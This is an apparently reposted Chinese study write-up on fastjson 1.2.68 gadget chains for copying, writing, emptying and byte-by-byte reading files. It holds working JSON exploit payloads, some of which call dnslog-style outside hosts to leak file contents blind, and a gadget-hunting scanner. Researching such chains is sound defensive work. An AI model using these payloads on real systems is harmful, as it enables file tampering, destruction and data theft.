fastjson1.2.68对于文件操作的分析最全

2024-05-16 02:04

本文主要是介绍fastjson1.2.68对于文件操作的分析最全,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

fastjson1.2.68对于文件操作的分析

    • 前言
    • 分析
    • 复制文件
    • 写入文件
    • 清空文件
      • 出现问题和分析
      • 问题解决
    • 读取文件
      • 分析poc
      • 拓宽场景
      • 极限环境
      • poc优化修改
      • 再次优化poc的分析

前言

这次分析也是分析了很久,因为每个链子都是自己去跟着分析了的,然后主要是去学习了一下怎么去挖链子

分析

前面漏洞复现只是简单地验证绕过方法的可行性,在实际的攻击利用中,是需要我们去寻找实际可行的利用类的。

我们的思路就是寻找实现自AutoCloseable接口(当然也可以是其他的接口,比如上面有的那些),并且可以恶意利用的,这里主要是学习
Mi1k7ea
主要是寻找关于输入输出流的类来写文件,IntputStream和OutputStream都是实现自AutoCloseable接口的。

  1. 需要一个通过 set 方法或构造方法指定文件路径的 OutputStream
  2. 需要一个通过 set 方法或构造方法传入字节数据的 OutputStream,参数类型必须是byte[]、ByteBuffer、String、char[]其中的一个,并且可以通过 set 方法或构造方法传入一个 OutputStream,最后可以通过 write 方法将传入的字节码 write 到传入的 OutputStream
  3. 需要一个通过 set 方法或构造方法传入一个 OutputStream,并且可以通过调用 toString、hashCode、get、set、构造方法 调用传入的 OutputStream 的 close、write 或 flush 方法

以上三个组合在一起就能构造成一个写文件的利用链

复制文件

利用类:org.eclipse.core.internal.localstore.SafeFileOutputStream

<dependency><groupId>org.aspectj</groupId><artifactId>aspectjtools</artifactId><version>1.9.5</version>
</dependency>

主要看到它的构造方法

public SafeFileOutputStream(String targetPath, String tempPath) throws IOException {this.failed = false;this.target = new File(targetPath);this.createTempFile(tempPath);if (!this.target.exists()) {if (!this.temp.exists()) {this.output = new BufferedOutputStream(new FileOutputStream(this.target));return;}this.copy(this.temp, this.target);}this.output = new BufferedOutputStream(new FileOutputStream(this.temp));}

这段 Java 代码定义了一个名为 SafeFileOutputStream 的类的构造函数。该构造函数接受两个参数,targetPath 和 tempPath,这两个参数分别代表目标文件路径和临时文件路径。
此构造函数首先设置 failed 标记为 false,然后根据 targetPath 创建一个 File 对象,用 tempPath 创建一个临时文件.
接下来,如果目标文件不存在,那么它将检查临时文件是否存在。如果临时文件也不存在,它将直接在目标路径开创一个新的文件输出流。否则,如果临时文件确实存在,它将临时文件的内容复制到目标文件中。
如果目标文件已经存在,那么它将在临时文件路径创建一个新的文件输出流。

只需要实例化就能够触发

{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"C:/Windows/win.ini", "targetPath":"E:/Coding/flag.txt"}

写入文件

com.esotericsoftware.kryo.io.Output

<dependency><groupId>com.esotericsoftware</groupId><artifactId>kryo</artifactId><version>4.0.0</version>
</dependency>
<dependency><groupId>com.sleepycat</groupId><artifactId>je</artifactId><version>5.0.73</version>
</dependency>

Output类主要用来写内容,它提供了setBuffer()和setOutputStream()两个setter方法可以用来写入输入流,其中buffer参数值是文件内容,outputStream参数值就是前面的SafeFileOutputStream类对象,而要触发写文件操作则需要调用其flush()函数

/** Sets a new OutputStream. The position and total are reset, discarding any buffered bytes.* @param outputStream May be null. */
public void setOutputStream (OutputStream outputStream) {this.outputStream = outputStream;position = 0;total = 0;
}.../** Sets the buffer that will be written to. {@link #setBuffer(byte[], int)} is called with the specified buffer's length as the* maxBufferSize. */
public void setBuffer (byte[] buffer) {setBuffer(buffer, buffer.length);
}.../** Writes the buffered bytes to the underlying OutputStream, if any. */
public void flush () throws KryoException {if (outputStream == null) return;try {outputStream.write(buffer, 0, position);outputStream.flush();} catch (IOException ex) {throw new KryoException(ex);}total += position;position = 0;
}...

可以看到调用关系是需要调用我们的flush()函数就会调用outputStream.write(buffer, 0, position);
write方法写入内容

怎么调用flush()函数只有在close()和require()函数被调用时才会触发,其中require()函数在调用write相关函数时会被触发。

ObjectOutputStream类,其内部类BlockDataOutputStream的构造函数中将OutputStream类型参数赋值给out成员变量,而其setBlockDataMode()函数中调用了drain()函数、drain()函数中又调用了out.write()函数,满足前面的需求:

 BlockDataOutputStream(OutputStream out) {this.out = out;dout = new DataOutputStream(this);}/*** Sets block data mode to the given mode (true == on, false == off)* and returns the previous mode value.  If the new mode is the same as* the old mode, no action is taken.  If the new mode differs from the* old mode, any buffered data is flushed before switching to the new* mode.*/boolean setBlockDataMode(boolean mode) throws IOException {if (blkmode == mode) {return blkmode;}drain();blkmode = mode;return !blkmode;}.../*** Writes all buffered data from this stream to the underlying stream,* but does not flush underlying stream.*/void drain() throws IOException {if (pos == 0) {return;}if (blkmode) {writeBlockHeader(pos);}out.write(buf, 0, pos);pos = 0;}

对于setBlockDataMode()函数的调用,在ObjectOutputStream类的有参构造函数中就存在:

public ObjectOutputStream(OutputStream out) throws IOException {verifySubclass();bout = new BlockDataOutputStream(out);handles = new HandleTable(10, (float) 3.00);subs = new ReplaceTable(10, (float) 3.00);enableOverride = false;writeStreamHeader();bout.setBlockDataMode(true);if (extendedDebugInfo) {debugInfoStack = new DebugTraceInfoStack();} else {debugInfoStack = null;}
}

但是Fastjson优先获取的是ObjectOutputStream类的无参构造函数,因此只能找ObjectOutputStream的继承类来触发了。
只有有参构造函数的ObjectOutputStream继承类:com.sleepycat.bind.serial.SerialOutput

看到,SerialOutput类的构造函数中是调用了父类ObjectOutputStream的有参构造函数,这就满足了前面的条件了:

public SerialOutput(OutputStream out, ClassCatalog classCatalog)throws IOException {super(out);this.classCatalog = classCatalog;/* guarantee that we'll always use the same serialization format */useProtocolVersion(ObjectStreamConstants.PROTOCOL_VERSION_2);
}
{"stream": {"@type": "java.lang.AutoCloseable","@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream","targetPath": "E:/code/hacked.txt","tempPath": "E:/code/test.txt"},"writer": {"@type": "java.lang.AutoCloseable","@type": "com.esotericsoftware.kryo.io.Output","buffer": "内容","outputStream": {"$ref": "$.stream"},"position": 5},"close": {"@type": "java.lang.AutoCloseable","@type": "com.sleepycat.bind.serial.SerialOutput","out": {"$ref": "$.writer"}}
}

这里写入文件内容其实有限制,有的特殊字符并不能直接写入到目标文件中,比如写不进PHP代码等。
在这里插入图片描述

清空文件

也是看到了scz师傅的文章

{'@type':"java.lang.AutoCloseable",'@type':'java.io.FileWriter','file':'/tmp/nonexist','append':false
}

我根据这个写了一个测试类,发现确实是可以完成我们的目的,测试类也不难,就不放了,
然后主要就是我们的append参数,因为他如果为false的话,就指的是吧文件内容写入覆盖,我们写入为空,那就相当于是删除文件了

出现问题和分析

Exception in thread "main" com.alibaba.fastjson.JSONException: default constructor not found. class java.io.FileWriterat com.alibaba.fastjson.util.JavaBeanInfo.build(JavaBeanInfo.java:558)at com.alibaba.fastjson.parser.ParserConfig.createJavaBeanDeserializer(ParserConfig.java:915)

找不到我们的构造器,我们跟着链子,最后发现是问题是出在

if (paramNames != null&& types.length == paramNames.length)

这个判断是false,导致直接进入else

throw new JSONException("default constructor not found. " + clazz);

所以抛出了异常,那是因为我们参数是null,找不到对应的构造器,我们没有参数

最后看别人
JavaBeanInfo.build 方法中检查参数名的代码片段:

boolean is_public = (constructor.getModifiers() & 1) != 0;
if (is_public) {String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);if (lookupParameterNames != null && lookupParameterNames.length != 0 && (creatorConstructor == null || paramNames == null || lookupParameterNames.length > paramNames.length)) {paramNames = lookupParameterNames;creatorConstructor = constructor;}
}

那什么才是有参数呢?难道刚刚我们没有参数吗?我们是传入参数了啊,这里看师傅的回答

只有当这个类 class 字节码带有调试信息且其中包含有变量信息时才会有。
可以通过如下命令来检查,如果有输出 LocalVariableTable,则证明其 class 字节码里的函数参数会有参数名信息:

javap -l <class_name> | grep LocalVariableTable

还有人做了更多的分析
通过分析发现,不是所有的构造函数的参数名都可以使用,而是第一个 参数名最多 的构造函数中的参数名才可以使用

比如org.apache.commons.io.output.FileWriterWithEncoding,同时有public FileWriterWithEncoding(File file, CharsetEncoder encoding, boolean append) 和 public FileWriterWithEncoding(String filename, CharsetEncoder encoding, boolean append)2个3参数名的构造函数,fastjson在识别到file encoding append这3个参数名后,后续就算识别到filename encoding append也会跳过参数名更新,所以不能用filename作为参数,只能使用file

在这里插入图片描述
这个是d4m1ts师傅的分析

问题解决

这里是使用这个代码去搜索的

package org.example;import com.alibaba.fastjson.util.ASMUtils;
import org.springframework.core.io.Resource;
import org.springframework.core.io.support.PathMatchingResourcePatternResolver;
import org.springframework.core.type.classreading.SimpleMetadataReaderFactory;import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.Arrays;public class App {public static void main(String[] args) throws IOException, ClassNotFoundException {Class<?> aClass = Class.forName("java.lang.AutoCloseable"); // 超类PathMatchingResourcePatternResolver resolver = new PathMatchingResourcePatternResolver();// 1.加载資源    classpath*:com/hadluo/**/*.class : 找环境变量下的 com/hadluo下的 所有.class文件Resource[] resources = resolver.getResources("classpath*:org/apache/commons/io/**/*.class");for (Resource res : resources) {// 先获取resource的元信息,然后获取class元信息,最后得到 class 全路径String clsName = new SimpleMetadataReaderFactory().getMetadataReader(res).getClassMetadata().getClassName();// 2. 通过名称加载类Class tmpClass = Class.forName(clsName);// 3. 判断是不是 aClass 的子类if (aClass.isAssignableFrom(tmpClass)) {// 4. 判断能否识别构造函数参数名,直接copy的fastjson里面的代码Constructor<?> creatorConstructor = null; // 构造函数String[] paramNames = null; // 存放所有参数,只有这个构造函数的参数名会使用,其他的构造函数都不能用,参考com.alibaba.fastjson.util.JavaBeanInfo.build(java.lang.Class<?>, java.lang.reflect.Type, com.alibaba.fastjson.PropertyNamingStrategy, boolean, boolean, boolean)里面的逻辑(知识点3)Constructor[] constructors = tmpClass.getDeclaredConstructors();for (Constructor constructor : constructors) {String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);if (lookupParameterNames == null || lookupParameterNames.length == 0) {continue;}if (creatorConstructor != null&& paramNames != null && lookupParameterNames.length <= paramNames.length) {continue;}paramNames = lookupParameterNames;creatorConstructor = constructor;}if (paramNames != null) {System.out.println("构造函数可用:" + creatorConstructor + " <== 可用参数名:" + Arrays.toString(paramNames));}// 5. 判断是否有setXXX方法Method[] declaredMethods = tmpClass.getDeclaredMethods();for (Method method : declaredMethods) {if (method.getName().startsWith("set")) {System.out.println("setXXX可用:" + method);}}}}}
}
org.apache.commons.io.output.FileWriterWithEncoding这个类
    public FileWriterWithEncoding(File file, Charset encoding, boolean append) throws IOException {this.out = initWriter(file, encoding, append);}

跟进initWriter方法

private static Writer initWriter(File file, Object encoding, boolean append) throws IOException {if (file == null) {throw new NullPointerException("File is missing");}if (encoding == null) {throw new NullPointerException("Encoding is missing");}boolean fileExistedAlready = file.exists();OutputStream stream = null;Writer writer = null;try {stream = new FileOutputStream(file, append);if (encoding instanceof Charset) {writer = new OutputStreamWriter(stream, (Charset)encoding);} else if (encoding instanceof CharsetEncoder) {writer = new OutputStreamWriter(stream, (CharsetEncoder)encoding);} else {writer = new OutputStreamWriter(stream, (String)encoding);}}

仔细去审计代码,这个方法就离谱,当append为false时,如果文件存在,就置空,不存在就新建

我们尝试先手写一下

import org.apache.commons.io.output.FileWriterWithEncoding;import java.io.File;
import java.io.IOException;public class Test {public static void main(String[] args) throws IOException {File file =new File("F:\\IntelliJ IDEA 2023.3.2\\java脚本\\fastjson_jdbc\\src\\main\\java\\2.txt");FileWriterWithEncoding fileWriterWithEncoding=new FileWriterWithEncoding(file,"UTF-8",false);}
}

尝试了也是能成功的,我们在实际中尝试一下

读取文件

这里参考的是浅蓝师傅的文章

分析poc

首先给出poc,我们根据这个poc来分析一下

{"abc":{"@type": "java.lang.AutoCloseable","@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": { "@type": "jdk.nashorn.api.scripting.URLReader","url": "file:///tmp/"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes": [...]}]},"address" : {"$ref":"$.abc.BOM"}
}

首先我们一个类一个类的看,有什么作用
org.apache.commons.io.input.BOMInputStream

这里利用的是它的构造函数和getBOM
首先是构造方法

public BOMInputStream(final InputStream delegate, final boolean include, final ByteOrderMark... boms) 

可以看到是可以传入一个InputStream类型的参数delegete和一个ByteOrderMark类型的数组
主要看下面的代码

 public ByteOrderMark getBOM() throws IOException {if (this.firstBytes == null) {this.fbLength = 0;int maxBomSize = ((ByteOrderMark)this.boms.get(0)).length();this.firstBytes = new int[maxBomSize];for(int i = 0; i < this.firstBytes.length; ++i) {this.firstBytes[i] = this.in.read(); // 从 delegate 输入流从取出所有字节,组成一个 int 数组++this.fbLength;if (this.firstBytes[i] < 0) {break;}}this.byteOrderMark = this.find(); // 开始把实例化对象时传入的 ByteOrderMark 数组 boms 和从 delegate 输入流从取出所有字节组成的int数组进行比对。if (this.byteOrderMark != null && !this.include) {if (this.byteOrderMark.length() < this.firstBytes.length) {this.fbIndex = this.byteOrderMark.length();} else {this.fbLength = 0;}}}return this.byteOrderMark; //返回 byteOrderMark}private ByteOrderMark find() {Iterator var1 = this.boms.iterator();ByteOrderMark bom;do {if (!var1.hasNext()) {return null;}bom = (ByteOrderMark)var1.next();} while(!this.matches(bom));return bom;}private boolean matches(ByteOrderMark bom) {for(int i = 0; i < bom.length(); ++i) {if (bom.get(i) != this.firstBytes[i]) {return false;}}return true;}

可以看到这里是有一个逻辑的,先把 delegate 输入流的字节码转成 int 数组,然后拿 ByteOrderMark 里的 bytes 挨个字节遍历去比对,如果遍历过程有比对错误的 getBom 就会返回一个 null,如果遍历结束,没有比对错误那就会返回一个 ByteOrderMark 对象。所以这里文件读取 成功的标志应该是 getBom 返回结果不为 null。
这也是我们利用的主要思路

然后我们的delegte是什么呢?
ReaderInputStream

public ReaderInputStream(final Reader reader, final CharsetEncoder encoder, final int bufferSize) {this.reader = reader;this.encoder = encoder;this.encoderIn = CharBuffer.allocate(bufferSize);this.encoderIn.flip();this.encoderOut = ByteBuffer.allocate(128);this.encoderOut.flip();}

这是它的构造方法,是一个reader,我们就看那个函数的名字,就是把我们的reader传为in或者out的类型
我们仔细看看方法
allocate(bufferSize)就是限制我们读取char的范围,然后this.encoderIn.flip();就是为确定我们的范围
然后需要传入一个reader看到下一个类URLReader

可以传入一个 URL 对象。这就意味着 file jar http 等协议都可以使用。我们可以指定自己的文件

自己也没有搭环境复现,使用师傅的复现
在这里插入图片描述正常读文件时如果字节码比对正确了(因为要读的文件第一个字母是b,转成int就是98,我在boms传入的bytes第一个就是98,所以比对正确),他是会返回一个 ByteOrderMark 对象的。

因为我这里没有虚拟机,我自己写了一个测试类,但是不是fastjson的格式,只是为了明白一下原理

import org.apache.commons.io.ByteOrderMark;
import org.apache.commons.io.input.BOMInputStream;
import org.apache.commons.io.input.CharSequenceReader;
import org.apache.commons.io.input.ReaderInputStream;import java.io.*;public class test {public static void main(String[] args) throws IOException {File file =new File("文件路径");Reader reader =new FileReader(file);ReaderInputStream readerInputStream =new ReaderInputStream(reader,"UTF-8");ByteOrderMark byteOrderMark =new ByteOrderMark("UTF-8",98);BOMInputStream bomInputStream =new BOMInputStream(readerInputStream,byteOrderMark);System.out.println(bomInputStream.getBOM());}
}

当我1.txt文件内容为a的时候,我们运行返回的是null,当我把文件内容改为b的时候,返回了在这里插入图片描述
所以就可以通过这一点来读取我们的文件内容

拓宽场景

有一个修改用户昵称的功能,使用了 fastjson 解析,取出 nickname 属性更新到数据库。我把 getBom 的值引用到 nickname 属性里。修改成功后如果 返回查看 nickname 是空或者null那就代表字节码比对错误,如果是 ByteOrderMark[…] 那就说名比对成功。
是可以的,但是如有这样一个场景呢?

有一个接口使用了 fastjson 解析 json,获取了某个属性,代码中对这个属性的格式做了严格校验,或者不会调用 json 对象里的任何属性。所以我们无法从这个接口的响应得知 getBom 返回的到底是什么。不过这个接口如果在用 fastjson 解析 JSON 的过程中抛出了异常它就会输出到响应。

这时候我们又该如何操作呢?

按照上面的逻辑,我们是需要根据网页返回的结果来确定我们是否正确的,现在网页返回的是抛出异常,那我们是不是也应该对应着抛出异常

根据作者的想法
只要让传入参数时对象类型不匹配,fastjson 自身就会抛出一个异常,如果是 null 的话就不会抛出异常。

意思就是在我们的getBom方法再套一个类,让他根据返回值不同去抛出异常和不抛出异常,而抛出异常的逻辑也是根据类型匹配,我们匹配成功返回的是一个ByteOrderMark对象

最简单的方法就是

        ByteOrderMark byteOrderMark =new ByteOrderMark("UTF-8",98);System.out.println(byteOrderMark.getClass().getName());

输出他的类型,你运行的话可以发现他就是ByteOrderMark类型的,我们找一个类,他能接收null不报错,接收我们的这个类型报错的

我先尝试着找了一下,但是太瓜皮了,找到的是AnrryList和MYclass,但是不行,这里看作者找到的是CharSequenceReader类,我在本地尝试了一下,真的可以,作者太牛了

我还是去找了一下,我在思考可不可以使用我们的方法来判断呢?这里我找到了一个方法

Optional.ofNullable(null);  // 这不会抛出异常

可不可以这样利用呢?,但是突然想起来fastjson只能调用的是get和set方法,用个屁

当然我还是去找了找发现

AtomicReference<String> atomicReference = new AtomicReference<>(null);

也不会报错,所以还是有利用的价值的,所以感觉是可以利用的,但是对于原来作者有一个我没有明白,为什么java.lang.String还要加上呢?

不对,我好像找到了答案,因为我必须传入一个参数,这个参数有个条件,那就是必须是CharSequence类型的,我们去探究一下,

public final class Stringimplements java.io.Serializable, Comparable<String>, CharSequence

这个就是我们的原因,不过这个null在传入String就已经报错了,没道理,感觉还是没有作用的,但是自己又不会去实际测试一下,难崩

因为这个要连那个虚拟机来着,不会,不想学,因为这个本身利用价值不大,只是学一下思路

极限环境

有一个接口,用 fastjson 解析了 JSON,但不会反馈任何能够作为状态判断的标识,连异常报错的信息都没有。

这里又用到了fastjson的一个特性

如果fastjson前面的错了,那后面的也不会去执行
所以我们就可以利用这一点,先看原来作者的poc

{"abc":{"@type": "java.lang.AutoCloseable","@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": { "@type": "jdk.nashorn.api.scripting.URLReader","url": "file:///tmp/test"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes": [98]}]},"address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader","charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0},"xxx": {"@type": "java.lang.AutoCloseable","@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "jdk.nashorn.api.scripting.URLReader","url": "http://aaaxasd.g2pbiw.dnslog.cn/"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes": [1]}]},"zzz":{"$ref":"$.xxx.BOM[0]"}
}

不明白为什么还需要那么长,后面的他探测还是用了前面的重复下来?
其实还是因为我们的urlreader这个类,前面说了他还可以使用http协议,我们就可以进行dnslog探测,所以作者是根据的这个去写poc的
在这里插入图片描述可以看到是成功的解析了的

poc优化修改

其实这里直接换成正常的探测poc就ok的
我们用的是

{"abc":{"@type": "java.lang.AutoCloseable","@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": { "@type": "jdk.nashorn.api.scripting.URLReader","url": "file:///E:/tmp/tyskill.txt"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes": [48,]}]},"address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader","charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0},"xxx":{{"@type":"java.net.Inet4Address","val":"cnm.awm6.hyuga.icu"}:"xx"}
}

可以看到最后只是加了个探测的poc,我认为这已经是最ok的结果了,但是师傅发现

因为上面的构造是匹配失败也就是没有匹配到就会发出请求,说实话匹配失败的次数是远远大于成功的次数的,所以师傅就换了一个逻辑,就是只匹配成功的时候发送请求,匹配成功返回对象,那我们该怎么修改呢?

再次优化poc的分析

这里我们还得清楚一个点
那就是到底是怎么去访问我们的远程url的啊?也没看见啊,我们找一下和reader有关的地方

经过仔细的调试分析,终于是找到了眉目
给出调用栈就能够大哥明白我们的访问是在哪里触发的了

openConnection:62, Handler (sun.net.www.protocol.http)
openConnection:57, Handler (sun.net.www.protocol.http)
openConnection:972, URL (java.net)
openStream:1038, URL (java.net)
readFully:811, Source (jdk.nashorn.internal.runtime)
getReader:116, URLReader (jdk.nashorn.api.scripting)
read:87, URLReader (jdk.nashorn.api.scripting)
fillBuffer:206, ReaderInputStream (org.apache.commons.io.input)
read:283, ReaderInputStream (org.apache.commons.io.input)
getBOM:213, BOMInputStream (org.apache.commons.io.input)
main:17, test

我们前面需要的是匹配成功才访问,这就需要一个先决的条件,因为我们的匹配和访问url都是发生在我们的getBOM方法中的,我们就要判断谁先发生的,如果是访问url先发生,那我们这样是没有意义的

我们看看poc

{"abc":{"@type": "java.lang.AutoCloseable","@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "jdk.nashorn.api.scripting.URLReader","url": "file:///E:/tmp/tyskill.txt"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"@type": "org.apache.commons.io.ByteOrderMark","charsetName": "UTF-8","bytes": [48,]}]},"address": {"@type": "java.lang.AutoCloseable","@type": "org.apache.commons.io.input.BOMInputStream","delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream","reader": {"@type": "jdk.nashorn.api.scripting.URLReader","url": "http://aaaxd.bf1p.hyuga.icu/"},"charsetName": "UTF-8","bufferSize": 1024},"boms": [{"$ref":"$.abc.BOM[0]"}]},"xxx":{"$ref":"$.address.BOM[0]"}
}

wc,你是不是犹豫了一下,这tm不是和上面差不多吗,你仔细看就会发现,这个poc的改变就对应了我们的分析

你仔细和第一个对比一下,他这个是直接嵌在address里面的,当然除了我们分析的,还有妙的
boms传入“空数组”时不会发生访问行为因为根本就调用不到我们的read方法

如何构造一个“空数组”呢?传入一个null即可,也就是bytes比较不成功的时候,此时逻辑就可以串联起来了,先注入文件内容,比较不成功时返回null,将null通过JSONpath引用到第二部分的BOMInputStream对象boms数组中,这样就可以形成更好用的poc

这篇关于fastjson1.2.68对于文件操作的分析最全的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/993563

相关文章

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置

SWAP作物生长模型安装教程、数据制备、敏感性分析、气候变化影响、R模型敏感性分析与贝叶斯优化、Fortran源代码分析、气候数据降尺度与变化影响分析

查看原文>>>全流程SWAP农业模型数据制备、敏感性分析及气候变化影响实践技术应用 SWAP模型是由荷兰瓦赫宁根大学开发的先进农作物模型,它综合考虑了土壤-水分-大气以及植被间的相互作用;是一种描述作物生长过程的一种机理性作物生长模型。它不但运用Richard方程,使其能够精确的模拟土壤中水分的运动,而且耦合了WOFOST作物模型使作物的生长描述更为科学。 本文让更多的科研人员和农业工作者

MOLE 2.5 分析分子通道和孔隙

软件介绍 生物大分子通道和孔隙在生物学中发挥着重要作用,例如在分子识别和酶底物特异性方面。 我们介绍了一种名为 MOLE 2.5 的高级软件工具,该工具旨在分析分子通道和孔隙。 与其他可用软件工具的基准测试表明,MOLE 2.5 相比更快、更强大、功能更丰富。作为一项新功能,MOLE 2.5 可以估算已识别通道的物理化学性质。 软件下载 https://pan.quark.cn/s/57

衡石分析平台使用手册-单机安装及启动

单机安装及启动​ 本文讲述如何在单机环境下进行 HENGSHI SENSE 安装的操作过程。 在安装前请确认网络环境,如果是隔离环境,无法连接互联网时,请先按照 离线环境安装依赖的指导进行依赖包的安装,然后按照本文的指导继续操作。如果网络环境可以连接互联网,请直接按照本文的指导进行安装。 准备工作​ 请参考安装环境文档准备安装环境。 配置用户与安装目录。 在操作前请检查您是否有 sud

线性因子模型 - 独立分量分析(ICA)篇

序言 线性因子模型是数据分析与机器学习中的一类重要模型,它们通过引入潜变量( latent variables \text{latent variables} latent variables)来更好地表征数据。其中,独立分量分析( ICA \text{ICA} ICA)作为线性因子模型的一种,以其独特的视角和广泛的应用领域而备受关注。 ICA \text{ICA} ICA旨在将观察到的复杂信号

【软考】希尔排序算法分析

目录 1. c代码2. 运行截图3. 运行解析 1. c代码 #include <stdio.h>#include <stdlib.h> void shellSort(int data[], int n){// 划分的数组,例如8个数则为[4, 2, 1]int *delta;int k;// i控制delta的轮次int i;// 临时变量,换值int temp;in

三相直流无刷电机(BLDC)控制算法实现:BLDC有感启动算法思路分析

一枚从事路径规划算法、运动控制算法、BLDC/FOC电机控制算法、工控、物联网工程师,爱吃土豆。如有需要技术交流或者需要方案帮助、需求:以下为联系方式—V 方案1:通过霍尔传感器IO中断触发换相 1.1 整体执行思路 霍尔传感器U、V、W三相通过IO+EXIT中断的方式进行霍尔传感器数据的读取。将IO口配置为上升沿+下降沿中断触发的方式。当霍尔传感器信号发生发生信号的变化就会触发中断在中断

kubelet组件的启动流程源码分析

概述 摘要: 本文将总结kubelet的作用以及原理,在有一定基础认识的前提下,通过阅读kubelet源码,对kubelet组件的启动流程进行分析。 正文 kubelet的作用 这里对kubelet的作用做一个简单总结。 节点管理 节点的注册 节点状态更新 容器管理(pod生命周期管理) 监听apiserver的容器事件 容器的创建、删除(CRI) 容器的网络的创建与删除

PostgreSQL核心功能特性与使用领域及场景分析

PostgreSQL有什么优点? 开源和免费 PostgreSQL是一个开源的数据库管理系统,可以免费使用和修改。这降低了企业的成本,并为开发者提供了一个活跃的社区和丰富的资源。 高度兼容 PostgreSQL支持多种操作系统(如Linux、Windows、macOS等)和编程语言(如C、C++、Java、Python、Ruby等),并提供了多种接口(如JDBC、ODBC、ADO.NET等

动手学深度学习【数据操作+数据预处理】

import osos.makedirs(os.path.join('.', 'data'), exist_ok=True)data_file = os.path.join('.', 'data', 'house_tiny.csv')with open(data_file, 'w') as f:f.write('NumRooms,Alley,Price\n') # 列名f.write('NA